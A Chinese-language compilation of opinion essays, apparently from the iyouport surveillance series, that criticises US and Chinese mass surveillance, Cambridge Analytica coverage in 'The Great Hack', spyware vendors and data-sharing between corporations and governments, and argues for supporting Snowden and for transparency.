八年前希拉里在担任国务卿的时候做了一个演讲，宣称网络自由是美国重要的外交政策目标。为此，美国国务院提供资金并支持全世界的各类计划、反审查工作、提升加密技术、启用匿名做法，声称为了“所有人能自由地表达观点、免受干扰和审查”。然而这一议程被尴尬的现实击碎了：曝光文件显示，美国自己一直在实施与专制国家同样的监控和审查。

结果就是，专制国家抓住了这一机会，以美国为“榜样”，作为他们自

己执行苛刻的网络政策的正当理由：更多的监控，更多的审查，更加孤立的互联网，被全面操纵的人民。

比如埃及提出的监视社交媒体的“防御系统”，扼杀异议，他们说“美国监听公民的电话，为什么我们不能”；印度公民开始担心他们的政府会援引美国的行动来证明监控在印度是合法的；而中国和俄罗斯公开称美国“伪善”。

这就是为什么至今一些中国异议仍然谴责 Snowden，他们被意识形态的恶意愚蠢绑架了，而无法正视事实。如果中国和俄罗斯的异议继续支持美国实施的大规模监控，他们所反对的本国政府只会更有理由对他们增强监视和操纵。

而美国事实的监视和操纵并不是只伤害美国人，因为互联网在很大程度上交给美国管理了，而现在美国失去了大部分公信力，互联网管理处于动荡之中，并且更糟糕的是，美国的缺位造成许多影响互联网的监管机构试图找出自行治理的办法，这就是互联网国家主义的由来。

也就是中国人非常熟悉的“网络主权”论。不对，准确说应该是：网络主权运动 Cyber Sovereignty Movement，它不是中国政府的发明（再重复一次，中国政府的任何歪点子都不是原创）当年中国政府发表这一观点时，没有任何中国的反对意见说出了这一根源 —— 根源就是美国的缺位。放下意识形态吧，只有这样才能帮你真正切实有效地反对。

所谓的网络主权运动威胁到从根本上已经被分裂了的互联网。从那时起，越来越多的国家开始要求数据储存在本地、要求外国公司交出密钥、要求对互联网主动控制。中国是这些国家之一。

这无疑是一场严重的灾难。互联网从根本上是一个全球平台，虽然国家继续进行审查和控制，但今天生活在专制国家的人们仍然有办法阅读到其他国家的信息，并与民主国家的公民交换观点，学习民主理念，互联网的自由就是全球人民的人权问题，美国是最有必要予以支持并作出表率的，因为美国对互联网有基础性的三大优势：1、与其他国家相比，美国拥有更丰厚的情报预算；2、互联网的物理线路布局导致世界上许多网络通路、甚至是两个国家之间的网络通路都跨越美国边界；3、大多数世界上最大最流行的硬件软件和互联网服务公司都位于美国境内，并遵从美国的法律规定。这些“优势”准确说是双刃刀，它既可以让美国成就引领全球互联网民主化的先锋，也能把美国变成事实上的智能老大哥，并加速全球专制政府的恶劣进化。

这就是为什么必需首先批评美国，要求美国做到捍卫民主人权。没人能离得开互联网了，如果美国不能扛起隐私之人权先锋的大旗，所谓的网络主权运动将彻底毁掉互联网。

就连臭名昭著的扎克伯格都说过这样的话：“美国政府应该是互联网的捍卫者，而不是威胁者”。他是对的。他这辈子大概就对过这么一次。（这一链接指向扎克伯格的 Facebook 页面，如果您已经删除 Facebook 账号可能会打不开它，您可以通过搜索 “Zuckerberg, As the world becomes more complex…, 2014” 获得更多信息）

—— 未完待续 ——

本系列完整版在这里：

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

原文

Netflix 的 “The Great Hack”是一部愚蠢的误导性纪录片 - iyouport

监视之恶-关于你可能还不知道的真相

【2019年11月15日存档】为了蹭热点而蹭热点是内容创作者能做的做糟糕的事。因为它只会将你的思考方式围绕在所谓的热点本身，从而忽略了造成悲剧的深远的背后问题。其结果是，你的作品不仅没有意义，而且还有可能具有严重的误导性。

一部新的纪录片记录了剑桥分析公司的垮台。这是一家臭名昭著的政治咨询公司，利用数据入侵选民心理，以操纵政治。

关于这种操纵是如何实现的，见《心理操纵的秘密：”行为经济学”＋PR＝？》

但是这部片子本身明显有问题。（然而其中文版却得到了一大堆好评，真的太令人心酸了）

正如人们通常所理解的那样，“骇客”是指某人利用代码中的漏洞偷偷访问计算机系统或欺骗一个容易上当的用户泄露其凭据。

要求计算机或社交网络的用户点击“我同意”按钮，然后收集他们的数据以操纵他们行为的家伙不是骇客。恰恰相反，正是互联网本身的商业模式。

正如IYP类目“监视与操纵”的说明中所强调的：监视是为了操纵，不只有放弃隐私那么简单。这个集中化的互联网前身就是一个大规模的监视项目，在这里看到具体分析《互联网究竟是什么？》

剑桥分析公司是一家现已解散的政治咨询公司，利用的是 Facebook 本身的侵入式监视商业模式，它没有亲自入侵任何一台计算机。

但是，该公司对人们的个人生活表现出了不同寻常的兴趣 —— 那些

很乐意与他人分享自己私密信息的人。

其实人们完全可以简单地通过该纪录片的名字看出其存在的问题。“The Great Hack”，居然是一部关于剑桥分析公司和“社交媒体黑暗面”的纪录片，这是彻底的跑题。

这部电影主要关注三个角色。

David Carroll（如上图）是一位美国教授，他向剑桥分析公司询问了他所掌握的信息，行使了1998年英国数据保护法案所载的权利。（信息专员办公室同意他对法律的解读，该权利适用于在英国处理数据的任何人）

Carole Cadwalladr 是伦敦“观察家报”的记者：她对剑桥分析公司的报道在2018年引起了公众的注意，随后在英国和美国引发了多次调查，该公司最终消亡。

Brittany Kaiser 是剑桥分析公司的前任商业发展总监，她缺乏道德指南针和阴暗的意图使她成为最有影响力的人物。她获得了最多的屏幕时间；制片人会把她和其他所有人的所有东西都当成面子拿来卖。

就是这仨人。

当 Carroll 说在线广告是一个价值数万亿美元的行业时，他并没有受到挑战（这是个没谱的数字）；

当 Kaiser 声称“去年的数据在价值方面超过石油”时，电影制作人将这句话放在了他们的网站上（不存在这样的计量）；

当 Cadwalladr 注意到根本性问题 即 “对人口进行大规模分析，然后确定对他们进行有目的的操纵的触发因素……感到对民主非常具有挑战性”时，并没有人指出：这就是互联网定位广告的意义所在。

这部电影的大部分内容都是由剑桥分析公司的销售平台组成的，该片导演似乎把这些东西视为了该公司的复杂和成功的“真相”。

如果剑桥分析公司没有关闭，他们家老板完全可以使用这部电影 “The Great Hack” 作宣传片。

至少对于这位评论家来说，目前还不清楚“The Great Hack”的重点是什么。

如果要使用剑桥分析公司作为案例向更广泛的受众传达科技公司利用其用户数据的现实和不加思索地采用它的方式，那么这部片子只能算是打败了一匹病重垂死的老马。

今天的公民已经非常熟悉社交网络上的错误信息和标题党；面部识别和人工智能现在引起最多的担忧。监视就是为了操纵。

而这部片子几乎完全专注于剑桥分析公司，除了蹭热点想不到其他意义了。

它可能会形成一个整洁的叙事弧线，但是，这意味着“The Great Hack”几乎无法解决更广泛的监视生态系统的本质性问题，或者说直接说：关于为什么今天的互联网是如此悲惨的地方。

等扯多了就继续使用混淆和暗示的方法对俄罗斯人或民粹主义者喋喋不休。全部是毫无意义。

关于 Whatsapp 在巴西的宣传活动可能是个问题，但它们与 Facebook 及其同类寡头的数据挖掘和算法操纵来说，根本不值一提。

看看谷歌是怎么做的吧，见《看不见的独裁》。

剑桥分析公司通过偷偷摸摸的方式获取了数千万美国人的 Facebook 数据，能够创建详细的个人资料，为候选人提供政治策略以获胜；更重要的是，剑桥分析公司只是在线操纵的一小部分 —— 通过可疑的“同意”来监视地球上的每个人，这个问题本身才是最值得讲述的故事。

关于为什么剑桥分析公司只是一小部分，这里有一个案例《秘密宣传战网络》；剑桥分析公司不仅仅是一家公司，而是政府国防机构的一部分，这就是为什么该公司可以迅速通过解散来避免被深究，并且，迅速组成新公司。在这里看到幕后黑手《心理操纵的秘密》。

“The Great Hack”这部片子毫无意义，丝毫没有触及关键问题；不过也许挺适合 Facebook 时代的。

就像在社交网络上嘈杂的争论那样，乏味的、只是看似复杂但智力不发达的，挤满了虚假的事实和夸大的统计数据，并且有几个吹牛人在自以为是和自我祝贺之间两头忙。

就像其中一个论点那样，没有人全身而退。〇

“The Great Hack” is a misinformed documentary about misinformation

原文

中国式的反乌托邦在西方 - iyouport

关于中国社会关于高堡奇人监视之恶-关于你可能还不知道的真相老大哥的真面目

【2019年9月3日存档】中国模式现在正在出口 —— 其结果可能是非常可怕的。这篇文章的思路有问题，但是不会影响其价值……

2005年，我被中国的秘密警察从上海一直跟踪到杭州。我的“罪行”是什么？只是因为我准备会面几位中国作家。

当时我在中国为 PEN International 提供有关迎合文学作家的报告。作家关心的问题是什么？他们参与了哪些活动？等等。

中国间谍一路尾随着我们的汽车，一直在我们后面移动；这是一次可怕的经历，虽然我和 PEN 的同伴最终没有被捕，我们在被监视和追捕的情况下完成了工作。

但是，另一方面，我们前一天晚上在中国上海一家餐馆会面的中国作家却遭到了拘留和讯问。当局阻止他们与我们会面。

我们只能希望我们更多地了解这些作家并在工作中支持他们的努力，而不会给他们带来任何真正的伤害。

这段经历让我对他们甚至同意与我们见面的勇气表示持久的钦佩。

但那是近15年前的事了。

如果我们今天再次回到中国做类似的报道，谁会知道我们是否正在被监视呢？

在很短的时间内，中国的监视能力已经变得非常复杂，现在已经完全超越了曾经仅仅针对持不同政见者的瞄准，中国已经建立一个监视整个人口一举一动的大规模间谍系统。

事实上，你可以说，曾经承诺成为“解放力量”的技术现在可以轻易地

被用来扼杀异议、巩固威权主义、羞辱和起诉奥威尔式政府认为不合时宜的一切。

详见分析《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》

自1989年结束天安门广场民主抗议活动的大屠杀发生以来，数字技术给中国政府带来了全新的和更隐蔽的沉默、压迫和消失持不同政见者的模式，并扼杀了任何对那段历史的谈论。

这包括在线审查甚至仅仅是对6月4日的提及，以及不断变化的关键词和短语的黑名单，根据情况，被视为“威胁”的还包括“女权主义”、“1984”、“我不同意”……维吾尔族或西藏人的权利，或台湾独立。

Twitter 等社交媒体平台一直在被中国禁止，并且许多已经找到解决方法来绕过审查的人最近一直被拘留。

根据国际特赦组织的报告，中国是“世界上被监禁记者和网络持不同政见者人数最多的国家之一”，这当然与其拥有“世界上最先进的网络控制和监视系统”直接相关，正如美国有线电视新闻网报道的那样。

虽然我们曾经希望互联网能够为我们提供言论自由、跨国界自由交流的能力，甚至可以成为反对意见蓬勃发展的渠道，但是，我们现在看到的情况恰恰相反。

更糟糕的是，中国模式现在正在出口：中国正在“向其他国家出口技术反乌托邦模式……

关于这点的最全面中文版报告详见《数字威权主义的兴起: 灾年之畔》，以及《图解中国科技巨头—半壁“高堡奇人”》。

中国国内监控设备的规模非同寻常。

该国正在建立一个“社会信用”体系，被称为“老大哥”、“黑镜”，这是每个反乌托邦未来主题的科幻作家都曾梦想的东西，该系统将于明年投入全面运营。

该社会信用体系将使政府和其他人能够轻松获取人们行为的详细信息，对其进行评级并使其公开。人们会因政治理由而被拒绝就业、甚至被逮捕。

不论是西方还是中国，利用互联网追踪个人的行为都已经变得非常猖獗，正在促进压迫的爆发，为威权主义铺平了道路。

我们西方人正在开始理解自己被社交媒体公司监控和操纵的绝对程度，通过社交媒体公司跟踪我们的数据并通过将其出售给政党、零售商甚至外国政府，实现货币化，以此操纵民主。

对此的详细分析参见《看不见的独裁》；《国王们的晚宴》。

剑桥分析公司的案例远不是唯一的，主流媒体将注意力集中在Facebook和剑桥分析公司身上是一种根本的选择性失明，事实上存在一众同类的操纵民主的公司、他们做着同样的事，包括剑桥分析公司在内他们都是情报机构的附属，正因此它们不会因被调查而终止这种行为。在这里看到详细介绍《秘密宣传战网络》

今天奥威尔式中国正在发生的事应该对西方提出警告，我们如此轻率地认为理所当然的自由已经受到了严重的欺骗和操纵。

这种控制背后的威权主义冲动已经渗透到了美国的政治体系中，并且没有被警惕，也没有人愿意反击。我们所有人都可能受到中国那种规模的监视。

注：这篇文章指的是对特朗普政府的定位监视，从2016年的选举之前就开始了，数月来一直是美国舆论界的热点话题。

但是，如果你以棱镜计划为角度检查这篇文章的思考方式会发现它是错误的 —— 事实上是中国在模仿美国的监视而是反过来。不同的只是中国大张旗鼓地做，美国秘密地做。

我们在“监视之恶”系列文章中详细介绍过这些历史并给出了分析。

不过，这篇文章所描述的中国问题是完全真实的，希望能借此激励中国社会的反抗（我们依旧天真地认为依旧有很多中国公民是因不了解反乌托邦实情而没能加入反抗的）。

Is Chinese-style surveillance coming to the west? The Chinese model is now being exported—and the results could be terrifying

原文

为什么必需拒绝大数据 —— 监视之恶（二）公私监控伙伴关系 - iyouport

监视之恶-关于你可能还不知道的真相

【2018年2月13日存档】这就是为什么发展本土公司是数字时代当权者最大的优势，也是为什么“要求将数据储存在本地”变成了全球政权的流行立场。基于商业角度的批评如保护主义等，都是过于浅薄的。

欧亚集团主席 Ian Bremmer 出了本新书 “Us vs Them”，目前正在做宣传，电讯报对他的一篇采访的标题是：“大数据技术正在扼杀西方民主 – 并赋予威权国家新的生机”。

绝大多数技术本身都是中立的，其最终变成什么取决于技术落在什么人手里。人们都认同这点。但大数据不一样，它基于侵入性的挖掘，它将民主社会人民对权力的监督完全逆转了方向，恰好符合威权的逻辑，复活老大哥，令威权更为强大。

数据就像一块肥肉，被放在了饿狼面前，它就在那儿，你不可能指望狼不吃掉它。不仅要吃掉这块，它肯定还想要更多。

日前一个宣称测试政治倾向的小游戏在中国网络上流行，很多人将自己的测试结果公开贴出来。

本网曾经警告过，警惕社交媒体传播的心理测试游戏，事实上所有这些在线测试不论其声称的测试目标是什么，都一样的需要警惕，它们很可能是大数据收集的更为深入的方式。

它们很容易让你看起来无害，比如宣称“测测你未来的女朋友是什么样的人”、或者更为迎合自恋心理的 “测测你最像哪位名人”，相比下声称政治倾向的测试还算是没那么装的。互联网人最大的甚至可以说是唯一的共性就是自恋，因为它就来自媒介效应，自恋的背后是自我认知模糊，于是这些测试所能实现的数据挖掘将超过几乎所有直接的监视。它总有方法能让你说实话，这是心理学最路西法的一面。

你很可能看不出自己提供的答案有什么要紧，因为那些数据最终很可能不是被单独使用的，它们会与其他数据结合起来使用，以达到某些操纵的目的，比如你在其他平台的公开表达、个人身份数据、以及其他测试所得出的数据，你想不到会出现什么样的组合。

并且，首先这类测试都不准确，与个人经历经验、和对经验的感知、在被测试的那一时刻的情绪状态，都有很大关系。也就是说它们很可能得不出它们所声称的测试目标。但其真实目标就藏在那些提问中。

就政治倾向测试而言，即便它准确也不建议给人贴这样的意识形态标签，只会严重局限视野。左右的存在都是有道理的，左右各有优势，在处理不同问题方面，左右合作才有政治进步，最重要的在于所有人都能基于事实说话，尊重事实要高于尊重党派意识形态，这样一切问题都更容易解决。如果事先被贴上了倾向标签，便会在下意识中以立场为重，因为人类有归属需求，团队认同始终会高于独立判断。然而并没有完美无缺永远正确的党派和团体，理性的异议才是进步的推动力，而不是盲目认同。

其次，这类测试的目的往往不在“左右”的结论上，而是其中的题目，里面有设计者希望知道的东西（是的，很有点社交工程学的路数）。其答案不仅为政权提供了筛查异议实施定位监视的参考，还能结合其他数据被设计成隐性洗脑的方案。你一定知道 Facebook 等社交媒体采取的 newsfeed 类算法如何通过定向展示（让你更容易接收到某些消息而不容易接收到另一些）从而改变了人们的投票结果和舆论倾向。这只是所有心理操控的实践方法之一。

更重要的是，不必押宝哪家私营公司不会在数据方面和政府合作，只要大数据技术还存在，监视资本主义还存在，它就不可能仅仅为了卖广告。大数据本身就是公私监控伙伴关系的基础，这事从至少**17**年前就开始了。

利益联盟

企业监视和政府监视是不可割裂的、互相交叉又互相支持，这种合作关系并非哪个国家的特征，也不仅仅在于哪几个国家的联姻，而是遍布全球的。从来没有相关正式协议，但它本身是一个利益联盟，有很多强大的利益关系支持其延续。

Snowden 披露的文件显示了 NSA 是如何依靠美国企业来监视互联网的。国安局从来没有从零开始建立一个独立的互联网监听系统，因为企业已经建立这样的系统，只需接入即可。微软、雅虎、苹果、谷歌

等美国公司为情报部门提供了大量的数据。有些时候他们会顺从国安局的意愿，有时按照法庭文件的要求被迫秘密交出数据（你在新闻里很可能看不见）。还有时，国安局可以未经允许直接入侵这些公司的基础设施。

这就是为什么发展本土公司是数字时代当权者最大的优势，也是为什么“要求将数据储存在本地”变成了全球政权的流行立场。基于商业角度的批评如保护主义等，都是过于浅薄的。

早已成为全球生态。许多国家都在借助企业监控的力量来监控本国公民。通过类似代号为“TEMPORA”的计划，英国政府通信总部向英国电信公司（British Telecom）和沃达丰公司（Vodafone）付费买到了全球各地的大量通讯。沃达丰提供了阿尔巴尼亚、匈牙利、埃及、爱尔兰、卡塔尔等共计 29 个国家的通信，允许政府通信总部直接访问这些国家境内的互联网流量。

法国政府窃听了法国通信和 Orange 公司（这里是法语媒体的详细报道）。俄罗斯搜集、储存和分析通话、电子邮件、网络使用、社交媒体关系网、信用卡交易记录等方面的数据。莫斯科将搜索指令系统直接内置在互联网中(System of Operative-Investigative Measures, SORM, 这里的链接指向详细报告）。在2014年索契冬奥会上，克里姆林宫几乎控制了网上发生的一切，他们举着“打击恐怖主义和犯罪”的旗号，事实上针对的是记者、人权活动家和政治对手。

俄罗斯和印度、沙特、阿联酋、印尼，多年前就威胁过黑莓公司，就像现在俄罗斯驱逐 telegram 一样，这些政权说如果黑莓公司不允许他们获取通讯数据就要禁止该手机。黑莓的数据一般都是加密的，可以防窃听。最终黑莓厂商和印度政府达成了协议，允许政府跟踪个人用户的电子邮件、聊天和网站访问内容。这似乎是唯一被披露的。其他国家呢？你完全可以想象都是如此，只是没曝光。

大约有十几个国家有保留数据方面的相关法律，要求互联网服务提供商监控并保留用户数据达数月之久，以备政府的不时之需，这项法律在 2014 年曾被欧盟宣布违宪。但直到如今，伊朗、越南、印度、中国、俄罗斯等很多国家依旧做如此要求。

“911” 之后，美国政府从代理公司购买了大量数据，包括从 Torch Concepts 获得飞机乘客信息，从 ChoicePoint 获取墨西哥选民数据库。美国法律要求金融机构向政府报告超过一万美元的现金交易，货币兑换商的报告门槛是一千美元。

许多国家的政府都要求酒店记录并上报有多少外国人住宿，保留客人的身份证和护照附件。如今是闭路电视摄像头、车牌捕捉系统、手机定位系统、人脸识别系统 ……几乎找不到它们不存在的地方。

同理，企业也能出于自己的目的获得政府掌握的信息。比如在美国，伊利诺伊州、俄亥俄州、得克萨斯州、佛罗里达，出售驾照信息，包括把驾驶员的照片卖给私人买家；还有些州出售过选民登记信息。英国在 2014 年曾提议出售纳税人信息，遭到公众抗议。英国国家医疗服务体系还计划向药品商和保险公司出售病人的病例信息……（中国人应该最熟悉最后这种了）

于是存在这样一个反馈环：企业认为应该搜集更多的政府数据，按照政府法律的相关要求，将搜集的信息尽可能公开发布，企业再把这些数据打包卖回给政府。这手被称为“数据清洗”（这里指向详情）。

最终的结果就是，大量的监视数据在政府和企业之间来回流动，于是你不用指望通过有效的法律来控制企业监视 —— 因为政府不希望降低企业监视的能力，那样一来最终会限制他们自己访问数据的权利（这就是为什么国会对待扎克伯格像个老朋友，而不是负罪嫌疑人。当时 Snowden 对此表示了嘲讽）。

隐私倡导者最活跃的时期可能会刺激出相关保护性法律被提出，但是数字巨头们抵触，最终很难被通过。2013 年在加州就是如此。几个月前的网络中立法案舆论战也是如此。如今即将于下个月被通过的欧洲隐私保护法案被很多人寄予了期望，不过它显然依旧在维护那些巨头的利益、保护他们的霸权（这里指向为什么的说明）。

公私监控伙伴关系

与斯塔西时代不同，当今的政府不再单独进行监控、审查和控制操作，而是由一个庞大的公私监控伙伴关系网支撑：由一些以盈利为目的的公司组成。仅仅美国，八年前的记录就有 1931 个不同公司在协作情报部门的数据收集。

据华盛顿邮报 2013 年报道，70% 的美国情报预算最终流向私营企业，48.3 万个政府承包商拥有绝密级权限。政府和企业之间有一扇强大的旋转门，美国海军上将 Mike McConnell 1996年从国安局离职后成为政府承包商 Booz Allen Hamilton 的副总裁，专门从事国家情报方面的工作，组建了他自己的互联网安全咨询公司，雇佣了国安局首席技术官，后者继续为国安局工作。

更为“闻名”的是，许多网络武器制造商向全球各地兜售网络攻击工具。比如英国和德国公司的宣传材料将间谍软件 FinFisher 描述为“攻击性信息技术入侵的解决方案”，制造商是伽玛集团，政府购买这些软件来监控公民的电脑和手机。

早在 2012 年，公民实验室的研究人员就发现，FinFisher 工具包被部署在巴林、新加坡、印度尼西亚、蒙古、土库曼斯坦、阿联酋、埃塞俄比亚、文莱，以及美国和荷兰等国。

阿塞拜疆、哥伦比亚、埃及、埃塞俄比亚、匈牙利、意大利、哈萨克斯坦、韩国、马来西亚、墨西哥、摩洛哥、阿曼、尼日利亚、巴拿马、波兰、沙特阿拉伯、苏丹、泰国、土耳其、阿联酋和乌兹别克斯坦等国家政府使用计算机和手机入侵和监控产品，针对政治异议。这是公民实验室四年前的报告（这里指向详细介绍），这些监视工具就是私营公司开发的。如今中国也学会了，在新疆使用的“净网”手机软件就是这一性质（这里指向详细报道）。

摩洛哥政府使用黑客组的软件以公民记者组织 Mamfakinch 为目标，通过向处于危险中的匿名市名发送钓鱼电子邮件获取信息，其附件包含有效的恶意软件；2011年在巴林被捕的异议人士被要求交出私人邮件和聊天记录，由政府通过诺基亚和西门子公司提供的工具进行搜集。

最近期的消息，美国警方购买黑客工具 GrayKey 解锁 iPhone。FBI 声称由于 iPhone 的加密它无法访问到犯罪证据，并以此为证据呼吁电子设备引入加密后门，好让当局更容易的访问加密内容。

约翰霍普金斯大学的加密专家 Matthew Green 说，在许多情况下甚至州和地方警察都能访问到加密数据，这与 **FBI** 无法访问手机数据的说法相矛盾。更邪恶的是，帮助开发该黑客工具的就是苹果公司员工。（这里指向该消息的中文版报道）

更近的消息，由安大略省滑铁卢市开发的网络过滤审查技术已被 10 个国家用于审查新闻获取、宗教内容，LGBTQ 和政治运动。在包括阿联酋在内的这十个国家的清单中，印度和巴基斯坦这两个议会民主国家也俨然在列。

世界上最大的民主国家印度封锁了近 1,200 个网址 – 比公民实验室测试的任何其他国家都要多。这些网址包括半岛电视台对罗兴亚穆斯林难民危机的报道、以及存档网页快照的档案网站 Wayback Machine。

他们并不掩饰这种合作。世界情报支持系统（Intelligence Support System World）会议在迪拜和巴西利亚等城市有频繁的贸易展览，监控工具就写在广告宣传册上。许多国家会派代表参会。美国和欧洲也有类似的会议。（链接指向本年度的该会议通告）

西方国家公司向威权国家提供审查监视技术

大多数大型国防承包商，如 Raytheon，Northrop Grumman，Harris Corporation，都为美军制造网络武器；许多大型IT公司帮助建立全球监视中心：法国的 Bull SA 公司帮助黎巴嫩政府建立监控中心，尼日利亚使用的是以色列公司的 Elbit 系统，叙利亚政府使用的是德国西门子公司、意大利 Area SpA 公司以及其他公司的监视产品，在卡扎菲的利比亚，是从南非 VASTech 公司购买电话监控技术的。

总部设在美国的 Blue Coat 公司销售的对企业网络进行监控和内容过滤的系统，被很多国家政府使用来监视其公民，包括并不限于 缅甸、中国、埃及、印度尼西亚、尼日利亚、卡塔尔、沙特阿拉伯、土耳其、委内瑞拉俄罗斯等国。（这里有完整名单）

美国企业 Fortinet 设计的过滤软件被用来审查缅甸的互联网；美国 MaAfee 公司开发的审查工具 SmartFilter 被突尼斯和伊朗政府审查其公民的上网行为；英国企业 Sophos 公司设计开发的商业安全设备被叙利亚和其他专制政权用来监视和逮捕公民。

很多人喜欢这样安慰自己，“技术是中立的，或者这些监视审查技术可以用来抓坏人、遏制暴力”等等，好吧，下篇文章详细说明为什么这种思路是错的。

顺便说，人脸识别技术最初是迪士尼主题公园用的，用来帮游客挑照片做纪念品。而在占领华尔街运动其间，这项技术已经被用来抓捕抗议者了。如今，中国是全球人脸识别的盛宴，估值最高的监视技术公司全在中国（这里指向具体报道）。然后他们再结合“信用评分系统”，让异议找不到工作、买不到车票、租不到房子、他们的孩子无法就学，让其他人害怕和异议交朋友，甚至普通的往来。

—— 未完待续 ——

本系列完整版在这里：

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》

- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

原文

为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下） - iyouport

监视之恶-关于你可能还不知道的真相

【2018年2月17日存档】如今国安局已经无法做到在削弱敌人的同时保护自己的网络。情报机构用于相互监视的技术漏洞，也同样被犯罪分子用来窃取财务密码、发送勒索软件。

本系列完整版在这里：

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

四、为什么必需支持 **Edward Snowden** —— 隐私和揭秘没有任何矛盾，正相反是相辅相成

为数不少的中国人尤其是中国异议对美国有着近乎痴迷的崇拜，准确说是对华盛顿的痴迷。说实话，我也是美国粉丝，我欣赏美国文化和美国社会的独立自主追求自由的理念，而美国文化恰恰是警惕政府

的、是 keep fighting 的，华盛顿是被监督者，而不应该是监视老大哥。这就是为什么我支持 Snowden。

对任何开放和自由的社会来说，信息透明都是至关重要的，让公民知道当局正在做什么，才能赋予他们履行公民义务去监督政府活动的能力。对企业也一样。

然而如今却是，政府以“国家安全”为由引发的机密大爆炸，遍地都是所谓的国家机密，公民变成了瞎子，只能从政府宣传中得知当权者正在干什么，而那些宣传基本没有任何真话。奥巴马口口声声支持信息透明、谴责政治暗箱，结果却是，他任内抓捕的揭秘者数量是他所有前任的总和；开源运动 20 年后，软件专利依旧像雪花一样满天飞，专利的意思就是你不可能知道那些软件对你干了什么，如今中国是专利冠军，以民族主义鸡血推动的数字世界专制。

隐私保护的基础要求就是互联网技术公司的信息公开：用户需要知道自己被收集了哪些信息，被如何储存的，究竟都被谁使用了，用来做了什么。在一个互联网和各具国家特色的、有关监控与控制的法律错综复杂交织在一起的世界里，这一基础要求尤其重要。保密政策应该提供这些信息，而不是故意使用模糊的描述混淆视听 —— 现在很多技术公司的隐私条款纯属故意耍你。

并且需要算法的透明性，要求开源是基本目标。只有这样才能避免系统被极少数掌握权力的人操纵，然后借此来操纵你。只有在你明确知道他们对你做了什么时，才能选择拒绝或者默许这些做法。

信息透明和公民个人隐私不仅没有任何矛盾，并且相辅相成 —— 是前者的有效实施保证了后者的被实现，如果没有 **Snowden** 等勇敢的揭秘者、没有 **Wikileaks** 和全球致力于揭露政权阴谋的独立调查性新闻，人们都不可能了解自己的处境，不可能对未来做出明智的选择。（再次推荐 Julian Assange 在六年前出版的书《When Google met Wikileaks》，Julian 是第一个揭露谷歌本质的人）

无疑，机构永远都会比公民掌握更多的权力，而保密就是增强机构权力的最简单方法，并增加权力的差异化，没有任何机构不擅长这手，这本身就是严重威胁了公民的个人权利。只有透明才能减少权力的不平衡，而容忍机构实施监控就会增加权力的不平衡。

透明说起来很容易，但事实上很难实现。权力越大的人越是厌恶被监督。中国什么样不用重复了。在美国，警察会骚扰和起诉那些拍摄他们的人；芝加哥警察故意模糊摄像头，显然是想掩盖自己的行为；圣

地亚哥警察部门拒绝索要警方视频的要求；2014 年密苏里弗格森市的抗议中，警方打死一名手无寸铁的黑人男子后，阻止示威者对其拍摄取证，并且逮捕了几位记录该事件的记者；洛杉矶警方更离谱，甚至破坏了强制安置在巡逻车上的语音记录器。（上述每一个链接都指向具体报道）

感谢勇敢诚实的媒体曝光这些当权者的恶劣行径，如果当权者控制了媒体、或者所谓的商业性追求侵蚀了媒体的基本职能，所有人都会变成傻瓜，公民身份将彻底消失。

当权者总有本事抵制各种信息透明法律，但秘密的世界正在发生变化。隐私权法律学者 Peter Swire 曾写下了关于秘密萎缩半衰期的论述。他所观察到的是，在一般情况下，秘密比以前泄漏得更快了，是技术的发展使保密变得越来越困难，而互联网的本质就是让秘密更加难以保持。

在互联网上，一个“发送”按钮可以在瞬间传递几千兆字节，移动存储可容纳的数据量正在逐年增多，政府部门和机构想要保守阴谋比任何时候都将更难 —— 并且他们的保密行为很容易露出破绽，就如 IBM 公司禁止雇员使用便携式存储设备，简直就是司马昭之心。

公民知情权的满足，或者说民主的未来，所缺乏的正是勇敢的揭秘者。

文化变迁也增加了保密的难度。在过去，保守机构的秘密是终生文化的一部分。情报机构会在人们事业早期就吸收他们为新成员，给他们提供谋生的工作机会，在人们还没能清楚地认识到权力之本性的时候，权力扮演施舍者，给人们洗脑，以忠诚为道德标准的结果就是，遍地都是秘密。中国于今为止仍然重复着美国三四十年前实施的上述模式。

美国如今的状况不同了，情报机构很多工作都是外包的，企业世界里再没有为生活而工作的文化：劳动是自由的、工作是外包的、人们是可消费的，跳槽是常态。这就意味着秘密将被更多的人分享，而且人们对所谓的忠诚保密也更加不会上心。更有，意味着如果当权者想要追究泄密的责任，也会越来越难，因为“可疑覆盖面”非常大，2014年的数据显示，美国有 500 万人拥有安全许可证，他们大多是承包商而不是政府雇员（这里是具体文件 pdf）

现在我们有希望了，因为年轻人正在修改保守的价值观，他们拥有更为开放的个性，更加激进寻求新知的态度，年轻人生于互联网，长于

